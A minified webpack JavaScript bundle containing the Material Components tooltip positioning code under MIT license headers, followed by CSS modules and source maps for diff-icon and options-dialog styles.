e=this.calculateTooltipStyles(this.anchorRect),t=e.top,n=e.yTransformOrigin,i=e.left,r=e.xTransformOrigin,o=x?(0,A.E)(window,"transform"):"transform";this.adapter.setSurfaceAnimationStyleProperty(o+"-origin",r+" "+n),this.adapter.setStyleProperty("top",t+"px"),this.adapter.setStyleProperty("left",i+"px")},t.prototype.positionRichTooltip=function{var e,t,n,i,r=this.adapter.getComputedStyleProperty("width");this.adapter.setStyleProperty("width",r);var o=this.hasCaret?this.calculateTooltipWithCaretStyles(this.anchorRect):this.calculateTooltipStyles(this.anchorRect),a=o.top,s=o.yTransformOrigin,l=o.left,c=o.xTransformOrigin,d=x?(0,A.E)(window,"transform"):"transform";this.adapter.setSurfaceAnimationStyleProperty(d+"-origin",c+" "+s);var u=l-(null!==(t=null===(e=this.parentRect)||void 0===e?void 0:e.left)&&void 0!==t?t:0),p=a-(null!==(i=null===(n=this.parentRect)||void 0===n?void 0:n.top)&&void 0!==i?i:0);this.adapter.setStyleProperty("top",p+"px"),this.adapter.setStyleProperty("left",u+"px")},t.prototype.calculateTooltipStyles=function(e){if(!e)return{top:0,left:0};var t=this.adapter.getTooltipSize,n=this.calculateYTooltipDistance(e,t.height),i=this.calculateXTooltipDistance(e,t.width);return{top:n.distance,yTransformOrigin:n.yTransformOrigin,left:i.distance,xTransformOrigin:i.xTransformOrigin}},t.prototype.calculateXTooltipDistance=function(e,t){var n,i,r,o,s,l=!this.adapter.isRTL;this.richTooltip?(n=l?e.left-t:e.right,i=l?e.right:e.left-t,o=l?g.RIGHT:g.LEFT,s=l?g.LEFT:g.RIGHT):(n=l?e.left:e.right-t,i=l?e.right-t:e.left,r=e.left+(e.width-t)/2,o=l?g.LEFT:g.RIGHT,s=l?g.RIGHT:g.LEFT);var c=this.richTooltip?this.determineValidPositionOptions(n,i):this.determineValidPositionOptions(r,n,i);if(this.xTooltipPos===a.START&&c.has(n))return{distance:n,xTransformOrigin:o};if(this.xTooltipPos===a.END&&c.has(i))return{distance:i,xTransformOrigin:s};if(this.xTooltipPos===a.CENTER&&c.has(r))return{distance:r,xTransformOrigin:g.CENTER};var d=(this.richTooltip?[{distance:i,xTransformOrigin:s},{distance:n,xTransformOrigin:o}]:[{distance:r,xTransformOrigin:g.CENTER},{distance:n,xTransformOrigin:o},{distance:i,xTransformOrigin:s}]).find((function(e){var t=e.distance;return c.has(t)}));return d||(e.left<0?{distance:this.minViewportTooltipThreshold,xTransformOrigin:g.LEFT}:{distance:this.adapter.getViewportWidth-(t+this.minViewportTooltipThreshold),xTransformOrigin:g.RIGHT})},t.prototype.determineValidPositionOptions=function{for(var e,t,n=[],i=0;i<arguments.length;i++)n[i]=arguments[i];var o=new Set,a=new Set;try{for(var s=(0,r.__values)(n),l=s.next;!l.done;l=s.next){var c=l.value;this.positionHonorsViewportThreshold(c)?o.add(c):this.positionDoesntCollideWithViewport(c)&&a.add(c)}}catch(t){e={error:t}}finally{try{l&&!l.done&&(t=s.return)&&t.call(s)}finally{if(e)throw e.error}}return o.size?o:a},t.prototype.positionHonorsViewportThreshold=function(e){var t=this.adapter.getViewportWidth;return e+this.adapter.getTooltipSize.width<=t-this.minViewportTooltipThreshold&&e>=this.minViewportTooltipThreshold},t.prototype.positionDoesntCollideWithViewport=function(e){var t=this.adapter.getViewportWidth;return e+this.adapter.getTooltipSize.width<=t&&e>=0},t.prototype.calculateYTooltipDistance=function(e,t){var n=e.bottom+this.anchorGap,i=e.top-(this.anchorGap+t),r=this.determineValidYPositionOptions(i,n);return this.yTooltipPos===s.ABOVE&&r.has(i)?{distance:i,yTransformOrigin:g.BOTTOM}:this.yTooltipPos===s.BELOW&&r.has(n)||r.has(n)?{distance:n,yTransformOrigin:g.TOP}:r.has(i)?{distance:i,yTransformOrigin:g.BOTTOM}:{distance:n,yTransformOrigin:g.TOP}},t.prototype.determineValidYPositionOptions=function(e,t){var n=new Set,i=new Set;return this.yPositionHonorsViewportThreshold(e)?n.add(e):this.yPositionDoesntCollideWithViewport(e)&&i.add(e),this.yPositionHonorsViewportThreshold(t)?n.add(t):this.yPositionDoesntCollideWithViewport(t)&&i.add(t),n.size?n:i},t.prototype.yPositionHonorsViewportThreshold=function(e){var t=this.adapter.getViewportHeight;return e+this.adapter.getTooltipSize.height+this.minViewportTooltipThreshold<=t&&e>=this.minViewportTooltipThreshold},t.prototype.yPositionDoesntCollideWithViewport=function(e){var t=this.adapter.getViewportHeight;return e+this.adapter.getTooltipSize.height<=t&&e>=0},t.prototype.calculateTooltipWithCaretStyles=function(e){this.adapter.clearTooltipCaretStyles;var t=this.adapter.getTooltipCaretBoundingRect;if(!e||!t)return{position:p.DETECTED,top:0,left:0};var n=t.width/c.ANIMATION_SCALE,i=t.height/c.ANIMATION_SCALE/2,r=this.adapter.getTooltipSize,o=this.calculateYWithCaretDistanceOptions(e,r.height,{caretWidth:n,caretHeight:i}),a=this.calculateXWithCaretDistanceOptions(e,r.width,{caretWidth:n,caretHeight:i}),s=this.validateTooltipWithCaretDistances(o,a);s.size<1&&(s=this.generateBackupPositionOption(e,r,{caretWidth:n,caretHeight:i}));var l=this.determineTooltipWithCaretDistance(s),d=l.position,u=l.xDistance,h=l.yDistance,f=this.setCaretPositionStyles(d,{caretWidth:n,caretHeight:i});return{yTransformOrigin:f.yTransformOrigin,xTransformOrigin:f.xTransformOrigin,top:h,left:u}},t.prototype.calculateXWithCaretDistanceOptions=function(e,t,n){var i=n.caretWidth,r=n.caretHeight,o=!this.adapter.isRTL,a=e.left+e.width/2,s=e.left-(t+this.anchorGap+r),l=e.right+this.anchorGap+r,d=o?s:l,u=o?l:s,p=a-(c.CARET_INDENTATION+i/2),h=a-(t-c.CARET_INDENTATION-i/2),g=o?p:h,m=o?h:p,v=a-t/2;return new Map(f.START,g],[f.CENTER,v],[f.END,m],[f.SIDE_END,u],[f.SIDE_START,d)},t.prototype.calculateYWithCaretDistanceOptions=function(e,t,n){var i=n.caretWidth,r=n.caretHeight,o=e.top+e.height/2,a=e.bottom+this.anchorGap+r,s=e.top-(this.anchorGap+t+r),l=o-(c.CARET_INDENTATION+i/2),d=o-t/2,u=o-(t-c.CARET_INDENTATION-i/2);return new Map(h.ABOVE,s],[h.BELOW,a],[h.SIDE_TOP,l],[h.SIDE_CENTER,d],[h.SIDE_BOTTOM,u)},t.prototype.repositionTooltipOnAnchorMove=function{var e=this.adapter.getAnchorBoundingRect;e&&this.anchorRect&&(e.top===this.anchorRect.top&&e.left===this.anchorRect.left&&e.height===this.anchorRect.height&&e.width===this.anchorRect.width||(this.anchorRect=e,this.parentRect=this.adapter.getParentBoundingRect,this.richTooltip?this.positionRichTooltip:this.positionPlainTooltip))},t.prototype.validateTooltipWithCaretDistances=function(e,t){var n,i,o,a,s,l,c=new Map,d=new Map,u=new Map(h.ABOVE,[f.START,f.CENTER,f.END,[h.BELOW,[f.START,f.CENTER,f.END]],[h.SIDE_TOP,[f.SIDE_START,f.SIDE_END]],[h.SIDE_CENTER,[f.SIDE_START,f.SIDE_END]],[h.SIDE_BOTTOM,[f.SIDE_START,f.SIDE_END]]]);try{for(var p=(0,r.__values)(u.keys),g=p.next;!g.done;g=p.next){var m=g.value,v=e.get(m);if(this.yPositionHonorsViewportThreshold(v))try{for(var A=(o=void 0,(0,r.__values)(u.get(m))),y=A.next;!y.done;y=A.next){var _=y.value,b=t.get(_);if(this.positionHonorsViewportThreshold(b)){var I=this.caretPositionOptionsMapping(_,m);c.set(I,{xDistance:b,yDistance:v})}}}catch(e){o={error:e}}finally{try{y&&!y.done&&(a=A.return)&&a.call(A)}finally{if(o)throw o.error}}else if(this.yPositionDoesntCollideWithViewport(v))try{for(var C=(s=void 0,(0,r.__values)(u.get(m))),E=C.next;!E.done;E=C.next){_=E.value,b=t.get(_);if(this.positionDoesntCollideWithViewport(b)){I=this.caretPositionOptionsMapping(_,m);d.set(I,{xDistance:b,yDistance:v})}}}catch(e){s={error:e}}finally{try{E&&!E.done&&(l=C.return)&&l.call(C)}finally{if(s)throw s.error}}}}catch(e){n={error:e}}finally{try{g&&!g.done&&(i=p.return)&&i.call(p)}finally{if(n)throw n.error}}return c.size?c:d},t.prototype.generateBackupPositionOption=function(e,t,n){var i,r,o,a,s=!this.adapter.isRTL;e.left<0?(i=this.minViewportTooltipThreshold+n.caretHeight,r=s?f.END:f.START):(i=this.adapter.getViewportWidth-(t.width+this.minViewportTooltipThreshold+n.caretHeight),r=s?f.START:f.END);e.top<0?(o=this.minViewportTooltipThreshold+n.caretHeight,a=h.BELOW):(o=this.adapter.getViewportHeight-(t.height+this.minViewportTooltipThreshold+n.caretHeight),a=h.ABOVE);var l=this.caretPositionOptionsMapping(r,a);return new Map(l,{xDistance:i,yDistance:o})},t.prototype.determineTooltipWithCaretDistance=function(e){if(e.has(this.tooltipPositionWithCaret)){var t=e.get(this.tooltipPositionWithCaret);return{position:this.tooltipPositionWithCaret,xDistance:t.xDistance,yDistance:t.yDistance}}var n=[p.ABOVE_START,p.ABOVE_CENTER,p.ABOVE_END,p.TOP_SIDE_START,p.CENTER_SIDE_START,p.BOTTOM_SIDE_START,p.TOP_SIDE_END,p.CENTER_SIDE_END,p.BOTTOM_SIDE_END,p.BELOW_START,p.BELOW_CENTER,p.BELOW_END].find((function(t){return e.has(t)})),i=e.get(n);return{position:n,xDistance:i.xDistance,yDistance:i.yDistance}},t.prototype.caretPositionOptionsMapping=function(e,t){switch(t){case h.ABOVE:if(e===f.START)return p.ABOVE_START;if(e===f.CENTER)return p.ABOVE_CENTER;if(e===f.END)return p.ABOVE_END;break;case h.BELOW:if(e===f.START)return p.BELOW_START;if(e===f.CENTER)return p.BELOW_CENTER;if(e===f.END)return p.BELOW_END;break;case h.SIDE_TOP:if(e===f.SIDE_START)return p.TOP_SIDE_START;if(e===f.SIDE_END)return p.TOP_SIDE_END;break;case h.SIDE_CENTER:if(e===f.SIDE_START)return p.CENTER_SIDE_START;if(e===f.SIDE_END)return p.CENTER_SIDE_END;break;case h.SIDE_BOTTOM:if(e===f.SIDE_START)return p.BOTTOM_SIDE_START;if(e===f.SIDE_END)return p.BOTTOM_SIDE_END}throw new Error("MDCTooltipFoundation: Invalid caret position of "+e+", "+t)},t.prototype.setCaretPositionStyles=function(e,t){var n,i,o=this.calculateCaretPositionOnTooltip(e,t);if(!o)return{yTransformOrigin:0,xTransformOrigin:0};this.adapter.clearTooltipCaretStyles,this.adapter.setTooltipCaretStyle(o.yAlignment,o.yAxisPx),this.adapter.setTooltipCaretStyle(o.xAlignment,o.xAxisPx);var a=o.skew*(Math.PI/180),s=Math.cos(a);this.adapter.setTooltipCaretStyle("transform","rotate("+o.rotation+"deg) skewY("+o.skew+"deg) scaleX("+s+")"),this.adapter.setTooltipCaretStyle("transform-origin",o.xAlignment+" "+o.yAlignment);try{for(var l=(0,r.__values)(o.caretCorners),c=l.next;!c.done;c=l.next){var d=c.value;this.adapter.setTooltipCaretStyle(d,"0")}}catch(e){n={error:e}}finally{try{c&&!c.done&&(i=l.return)&&i.call(l)}finally{if(n)throw n.error}}return{yTransformOrigin:o.yTransformOrigin,xTransformOrigin:o.xTransformOrigin}},t.prototype.calculateCaretPositionOnTooltip=function(e,t){var n=!this.adapter.isRTL,i=this.adapter.getComputedStyleProperty("width"),r=this.adapter.getComputedStyleProperty("height");if(i&&r&&t){var o="calc(("+i+" - "+t.caretWidth+"px) / 2)",a="calc(("+r+" - "+t.caretWidth+"px) / 2)",s="0",l=c.CARET_INDENTATION+"px",d="calc("+i+" - "+l+")",u="calc("+r+" - "+l+")",h=35,f=Math.abs(55),m=["border-bottom-right-radius","border-top-left-radius"],v=["border-bottom-left-radius","border-top-right-radius"],A=20;switch(e){case p.BELOW_CENTER:return{yAlignment:g.TOP,xAlignment:g.LEFT,yAxisPx:s,xAxisPx:o,rotation:-35,skew:-20,xTransformOrigin:o,yTransformOrigin:s,caretCorners:m};case p.BELOW_END:return{yAlignment:g.TOP,xAlignment:n?g.RIGHT:g.LEFT,yAxisPx:s,xAxisPx:l,rotation:n?h:-35,skew:n?A:-20,xTransformOrigin:n?d:l,yTransformOrigin:s,caretCorners:n?v:m};case p.BELOW_START:return{yAlignment:g.TOP,xAlignment:n?g.LEFT:g.RIGHT,yAxisPx:s,xAxisPx:l,rotation:n?-35:h,skew:n?-20:A,xTransformOrigin:n?l:d,yTransformOrigin:s,caretCorners:n?m:v};case p.TOP_SIDE_END:return{yAlignment:g.TOP,xAlignment:n?g.LEFT:g.RIGHT,yAxisPx:l,xAxisPx:s,rotation:n?f:-1*f,skew:n?-20:A,xTransformOrigin:n?s:i,yTransformOrigin:l,caretCorners:n?m:v};case p.CENTER_SIDE_END:return{yAlignment:g.TOP,xAlignment:n?g.LEFT:g.RIGHT,yAxisPx:a,xAxisPx:s,rotation:n?f:-1*f,skew:n?-20:A,xTransformOrigin:n?s:i,yTransformOrigin:a,caretCorners:n?m:v};case p.BOTTOM_SIDE_END:return{yAlignment:g.BOTTOM,xAlignment:n?g.LEFT:g.RIGHT,yAxisPx:l,xAxisPx:s,rotation:n?-1*f:f,skew:n?A:-20,xTransformOrigin:n?s:i,yTransformOrigin:u,caretCorners:n?v:m};case p.TOP_SIDE_START:return{yAlignment:g.TOP,xAlignment:n?g.RIGHT:g.LEFT,yAxisPx:l,xAxisPx:s,rotation:n?-1*f:f,skew:n?A:-20,xTransformOrigin:n?i:s,yTransformOrigin:l,caretCorners:n?v:m};case p.CENTER_SIDE_START:return{yAlignment:g.TOP,xAlignment:n?g.RIGHT:g.LEFT,yAxisPx:a,xAxisPx:s,rotation:n?-1*f:f,skew:n?A:-20,xTransformOrigin:n?i:s,yTransformOrigin:a,caretCorners:n?v:m};case p.BOTTOM_SIDE_START:return{yAlignment:g.BOTTOM,xAlignment:n?g.RIGHT:g.LEFT,yAxisPx:l,xAxisPx:s,rotation:n?f:-1*f,skew:n?-20:A,xTransformOrigin:n?i:s,yTransformOrigin:u,caretCorners:n?m:v};case p.ABOVE_CENTER:return{yAlignment:g.BOTTOM,xAlignment:g.LEFT,yAxisPx:s,xAxisPx:o,rotation:h,skew:A,xTransformOrigin:o,yTransformOrigin:r,caretCorners:v};case p.ABOVE_END:return{yAlignment:g.BOTTOM,xAlignment:n?g.RIGHT:g.LEFT,yAxisPx:s,xAxisPx:l,rotation:n?-35:h,skew:n?-20:A,xTransformOrigin:n?d:l,yTransformOrigin:r,caretCorners:n?m:v};default:case p.ABOVE_START:return{yAlignment:g.BOTTOM,xAlignment:n?g.LEFT:g.RIGHT,yAxisPx:s,xAxisPx:l,rotation:n?h:-35,skew:n?A:-20,xTransformOrigin:n?l:d,yTransformOrigin:r,caretCorners:n?v:m}}}},t.prototype.clearShowTimeout=function{this.showTimeout&&(clearTimeout(this.showTimeout),this.showTimeout=null)},t.prototype.clearHideTimeout=function{this.hideTimeout&&(clearTimeout(this.hideTimeout),this.hideTimeout=null)},t.prototype.attachScrollHandler=function(e){var t=this;this.addAncestorScrollEventListeners.push((function{e("scroll",t.windowScrollHandler)}))},t.prototype.removeScrollHandler=function(e){var t=this;this.removeAncestorScrollEventListeners.push((function{e("scroll",t.windowScrollHandler)}))},t.prototype.destroy=function{var e,t;this.frameId&&(cancelAnimationFrame(this.frameId),this.frameId=null),this.clearHideTimeout,this.clearShowTimeout,this.adapter.removeClass(I),this.adapter.removeClass(E),this.adapter.removeClass(C),this.adapter.removeClass(T),this.adapter.removeClass(w),this.richTooltip&&this.adapter.deregisterEventHandler("focusout",this.richTooltipFocusOutHandler),this.persistentTooltip||(this.adapter.deregisterEventHandler("mouseenter",this.tooltipMouseEnterHandler),this.adapter.deregisterEventHandler("mouseleave",this.tooltipMouseLeaveHandler)),this.adapter.deregisterAnchorEventHandler("blur",this.anchorBlurHandler),this.adapter.deregisterDocumentEventHandler("click",this.documentClickHandler),this.adapter.deregisterDocumentEventHandler("keydown",this.documentKeydownHandler),this.adapter.deregisterWindowEventHandler("scroll",this.windowScrollHandler),this.adapter.deregisterWindowEventHandler("resize",this.windowResizeHandler);try{for(var n=(0,r.__values)(this.removeAncestorScrollEventListeners),i=n.next;!i.done;i=n.next){(0,i.value)}}catch(t){e={error:t}}finally{try{i&&!i.done&&(t=n.return)&&t.call(n)}finally{if(e)throw e.error}}this.animFrame.cancelAll},t}(y.K); /** * @license * Copyright 2020 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var O=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,r.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.initialize=function{var e=this.root.getAttribute("id");if(!e)throw new Error("MDCTooltip: Tooltip component must have an id.");var t=document.querySelector('[data-tooltip-id="'+e+'"]')||document.querySelector('[aria-describedby="'+e+'"]');if(!t)throw new Error("MDCTooltip: Tooltip component requires an anchor element annotated with [aria-describedby] or [data-tooltip-id].");this.anchorElem=t},t.prototype.initialSyncWithDOM=function{var e=this;this.isTooltipRich=this.foundation.isRich,this.isTooltipPersistent=this.foundation.isPersistent,this.handleMouseEnter=function{e.foundation.handleAnchorMouseEnter},this.handleFocus=function(t){e.foundation.handleAnchorFocus(t)},this.handleMouseLeave=function{e.foundation.handleAnchorMouseLeave},this.handleTransitionEnd=function{e.foundation.handleTransitionEnd},this.handleClick=function{e.foundation.handleAnchorClick},this.handleTouchstart=function{e.foundation.handleAnchorTouchstart},this.handleTouchend=function{e.foundation.handleAnchorTouchend},this.isTooltipRich&&this.isTooltipPersistent?this.anchorElem.addEventListener("click",this.handleClick):(this.anchorElem.addEventListener("mouseenter",this.handleMouseEnter),this.anchorElem.addEventListener("focus",this.handleFocus),this.anchorElem.addEventListener("mouseleave",this.handleMouseLeave),this.anchorElem.addEventListener("touchstart",this.handleTouchstart),this.anchorElem.addEventListener("touchend",this.handleTouchend)),this.listen("transitionend",this.handleTransitionEnd)},t.prototype.destroy=function{this.anchorElem&&(this.isTooltipRich&&this.isTooltipPersistent?this.anchorElem.removeEventListener("click",this.handleClick):(this.anchorElem.removeEventListener("mouseenter",this.handleMouseEnter),this.anchorElem.removeEventListener("focus",this.handleFocus),this.anchorElem.removeEventListener("mouseleave",this.handleMouseLeave),this.anchorElem.removeEventListener("touchstart",this.handleTouchstart),this.anchorElem.removeEventListener("touchend",this.handleTouchend))),this.unlisten("transitionend",this.handleTransitionEnd),e.prototype.destroy.call(this)},t.prototype.setTooltipPosition=function(e){this.foundation.setTooltipPosition(e)},t.prototype.setAnchorBoundaryType=function(e){this.foundation.setAnchorBoundaryType(e)},t.prototype.setShowDelay=function(e){this.foundation.setShowDelay(e)},t.prototype.setHideDelay=function(e){this.foundation.setHideDelay(e)},t.prototype.hide=function{this.foundation.hide},t.prototype.isShown=function{return this.foundation.isShown},t.prototype.attachScrollHandler=function(e){this.foundation.attachScrollHandler(e)},t.prototype.removeScrollHandler=function(e){this.foundation.removeScrollHandler(e)},t.prototype.getDefaultFoundation=function{var e=this;return new D({getAttribute:function(t){return e.root.getAttribute(t)},setAttribute:function(t,n){e.root.setAttribute(t,n)},removeAttribute:function(t){e.root.removeAttribute(t)},addClass:function(t){e.root.classList.add(t)},hasClass:function(t){return e.root.classList.contains(t)},removeClass:function(t){e.root.classList.remove(t)},getComputedStyleProperty:function(t){return window.getComputedStyle(e.root).getPropertyValue(t)},setStyleProperty:function(t,n){e.root.style.setProperty(t,n)},setSurfaceAnimationStyleProperty:function(t,n){var r=e.root.querySelector("."+i.SURFACE_ANIMATION);null==r||r.style.setProperty(t,n)},getViewportWidth:function{return window.innerWidth},getViewportHeight:function{return window.innerHeight},getTooltipSize:function{return{width:e.root.offsetWidth,height:e.root.offsetHeight}},getAnchorBoundingRect:function{return e.anchorElem?e.anchorElem.getBoundingClientRect:null},getParentBoundingRect:function{var t,n;return null!==(n=null===(t=e.root.parentElement)||void 0===t?void 0:t.getBoundingClientRect)&&void 0!==n?n:null},getAnchorAttribute:function(t){return e.anchorElem?e.anchorElem.getAttribute(t):null},setAnchorAttribute:function(t,n){var i;null===(i=e.anchorElem)||void 0===i||i.setAttribute(t,n)},isRTL:function{return"rtl"===getComputedStyle(e.root).direction},anchorContainsElement:function(t){var n;return!!(null===(n=e.anchorElem)||void 0===n?void 0:n.contains(t))},tooltipContainsElement:function(t){return e.root.contains(t)},focusAnchorElement:function{var t;null===(t=e.anchorElem)||void 0===t||t.focus},registerEventHandler:function(t,n){e.root instanceof HTMLElement&&e.root.addEventListener(t,n)},deregisterEventHandler:function(t,n){e.root instanceof HTMLElement&&e.root.removeEventListener(t,n)},registerAnchorEventHandler:function(t,n){var i;null===(i=e.anchorElem)||void 0===i||i.addEventListener(t,n)},deregisterAnchorEventHandler:function(t,n){var i;null===(i=e.anchorElem)||void 0===i||i.removeEventListener(t,n)},registerDocumentEventHandler:function(e,t){document.body.addEventListener(e,t)},deregisterDocumentEventHandler:function(e,t){document.body.removeEventListener(e,t)},registerWindowEventHandler:function(e,t){window.addEventListener(e,t)},deregisterWindowEventHandler:function(e,t){window.removeEventListener(e,t)},notifyHidden:function{e.emit(u.HIDDEN,{})},getTooltipCaretBoundingRect:function{var t=e.root.querySelector("."+i.TOOLTIP_CARET_TOP);return t?t.getBoundingClientRect:null},setTooltipCaretStyle:function(t,n){var r=e.root.querySelector("."+i.TOOLTIP_CARET_TOP),o=e.root.querySelector("."+i.TOOLTIP_CARET_BOTTOM);r&&o&&(r.style.setProperty(t,n),o.style.setProperty(t,n))},clearTooltipCaretStyles:function{var t=e.root.querySelector("."+i.TOOLTIP_CARET_TOP),n=e.root.querySelector("."+i.TOOLTIP_CARET_BOTTOM);t&&n&&(t.removeAttribute("style"),n.removeAttribute("style"))},getActiveElement:function{return document.activeElement}})},t}(o.B)} /** * @license * Copyright 2020 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,7205:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,'.uvDiffIcons {\n   display: block;\n}\n\n.uv-mdc-diffIcons {\n    position: relative;\n    min-height: 36px;\n\n    font-family: "Roboto", "Arial", sans-serif;\n}\n\n.uv-mdc-diffIcons.uv-mdc-diffIcons--finished {\n    min-height: 62px;\n}\n\n.uv-mdc-diffIcons:not(.uv-mdc-diffIcons--reverting)\n    .uv-mdc-diffIcons-progressBar,\n.uv-mdc-diffIcons:not(.uv-mdc-diffIcons--finished)\n    .uv-mdc-diffIcons-doneOptions,\n.uv-mdc-diffIcons.uv-mdc-diffIcons--reverting .uv-mdc-diffIcons-options,\n.uv-mdc-diffIcons.uv-mdc-diffIcons--finished .uv-mdc-diffIcons-options {\n    pointer-events: none;\n    opacity: 0;\n}\n\n.uv-mdc-diffIcons-options {\n    pointer-events: all;\n    opacity: 1;\n}\n\n.uv-mdc-diffIcons-progressBar {\n    pointer-events: all;\n    opacity: 1;\n\n    position: absolute;\n    box-sizing: border-box;\n    height: 100%;\n    width: 100%;\n\n    top: 0;\n    left: 0;\n\n    z-index: 100;\n}\n\n.uv-mdc-diffIcons-progressBar-content {\n    height: 100%;\n    width: 60%;\n    margin: 0 auto;\n    display: flex;\n    flex-direction: column;\n    justify-content: center;\n}\n\n.uv-mdc-diffIcons-progressBar-content .mdc-linear-progress {\n    text-align: left;\n    background-color: rgba(0, 0, 0, 0.15);\n}\n\n.uv-mdc-diffIcons-doneOptions {\n    pointer-events: all;\n    opacity: 1;\n\n    position: absolute;\n    box-sizing: border-box;\n    height: 100%;\n    width: 100%;\n\n    z-index: 50;\n    transition: opacity 0.3s ease;\n\n    top: 0;\n    left: 0;\n\n    display: flex;\n    flex-direction: column;\n    justify-content: center;\n}\n\n.uv-mdc-diffIcons-options .mdc-icon-button,\n.uv-mdc-diffIcons-doneOptions .mdc-icon-button {\n    /* Must be equal to height. */\n   width: 36px;\n    height: 36px;\n    padding: 4px;\n    /* calc(width or height - padding * 2) */\n    font-size: 28px;\n}\n',"",{version:3,sources:["webpack://./src/styles/material/css/diffIcons.css"],names:[],mappings:"AAAA;IACI,cAAc;AAClB;;AAEA;IACI,kBAAkB;IAClB,gBAAgB;;IAEhB,0CAA0C;AAC9C;;AAEA;IACI,gBAAgB;AACpB;;AAEA;;;;;;IAMI,oBAAoB;IACpB,UAAU;AACd;;AAEA;IACI,mBAAmB;IACnB,UAAU;AACd;;AAEA;IACI,mBAAmB;IACnB,UAAU;;IAEV,kBAAkB;IAClB,sBAAsB;IACtB,YAAY;IACZ,WAAW;;IAEX,MAAM;IACN,OAAO;;IAEP,YAAY;AAChB;;AAEA;IACI,YAAY;IACZ,UAAU;IACV,cAAc;IACd,aAAa;IACb,sBAAsB;IACtB,uBAAuB;AAC3B;;AAEA;IACI,gBAAgB;IAChB,qCAAqC;AACzC;;AAEA;IACI,mBAAmB;IACnB,UAAU;;IAEV,kBAAkB;IAClB,sBAAsB;IACtB,YAAY;IACZ,WAAW;;IAEX,WAAW;IACX,6BAA6B;;IAE7B,MAAM;IACN,OAAO;;IAEP,aAAa;IACb,sBAAsB;IACtB,uBAAuB;AAC3B;;AAEA;;IAEI,6BAA6B;IAC7B,WAAW;IACX,YAAY;IACZ,YAAY;IACZ,wCAAwC;IACxC,eAAe;AACnB",sourcesContent:['.uvDiffIcons {\n    display: block;\n}\n\n.uv-mdc-diffIcons {\n    position: relative;\n    min-height: 36px;\n\n    font-family: "Roboto", "Arial", sans-serif;\n}\n\n.uv-mdc-diffIcons.uv-mdc-diffIcons--finished {\n    min-height: 62px;\n}\n\n.uv-mdc-diffIcons:not(.uv-mdc-diffIcons--reverting)\n    .uv-mdc-diffIcons-progressBar,\n.uv-mdc-diffIcons:not(.uv-mdc-diffIcons--finished)\n    .uv-mdc-diffIcons-doneOptions,\n.uv-mdc-diffIcons.uv-mdc-diffIcons--reverting .uv-mdc-diffIcons-options,\n.uv-mdc-diffIcons.uv-mdc-diffIcons--finished .uv-mdc-diffIcons-options {\n    pointer-events: none;\n    opacity: 0;\n}\n\n.uv-mdc-diffIcons-options {\n    pointer-events: all;\n    opacity: 1;\n}\n\n.uv-mdc-diffIcons-progressBar {\n    pointer-events: all;\n    opacity: 1;\n\n    position: absolute;\n    box-sizing: border-box;\n    height: 100%;\n    width: 100%;\n\n    top: 0;\n    left: 0;\n\n    z-index: 100;\n}\n\n.uv-mdc-diffIcons-progressBar-content {\n    height: 100%;\n    width: 60%;\n    margin: 0 auto;\n    display: flex;\n    flex-direction: column;\n    justify-content: center;\n}\n\n.uv-mdc-diffIcons-progressBar-content .mdc-linear-progress {\n    text-align: left;\n    background-color: rgba(0, 0, 0, 0.15);\n}\n\n.uv-mdc-diffIcons-doneOptions {\n    pointer-events: all;\n    opacity: 1;\n\n    position: absolute;\n    box-sizing: border-box;\n    height: 100%;\n    width: 100%;\n\n    z-index: 50;\n    transition: opacity 0.3s ease;\n\n    top: 0;\n    left: 0;\n\n    display: flex;\n    flex-direction: column;\n    justify-content: center;\n}\n\n.uv-mdc-diffIcons-options .mdc-icon-button,\n.uv-mdc-diffIcons-doneOptions .mdc-icon-button {\n    /* Must be equal to height. */\n   width: 36px;\n    height: 36px;\n    padding: 4px;\n    /* calc(width or height - padding * 2) */\n    font-size: 28px;\n}\n'],sourceRoot:""}]);const s=a},2630:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,".uv-mdc-extendedOptions .mdc-dialog__title {\n    margin-bottom: 0 !important;\n}\n\n.uv-mdc-extendedOptions .mdc-dialog__content {\n    padding-top: 0 !important;\n    padding-left: 0 !important;\n    padding-right: 0 !important;\n}\n\n.uv-mdc-extendedOptions .mdc-list {\n    padding-top: 0;\n    padding-bottom: 0;\n}\n\n.uv-mdc-extendedOptions .mdc-list-item {\n    height: 38px !important;\n}\n\n.uv-mdc-extendedOptions .mdc-list-item,\n.uv-mdc-extendedOptions .mdc-list-item 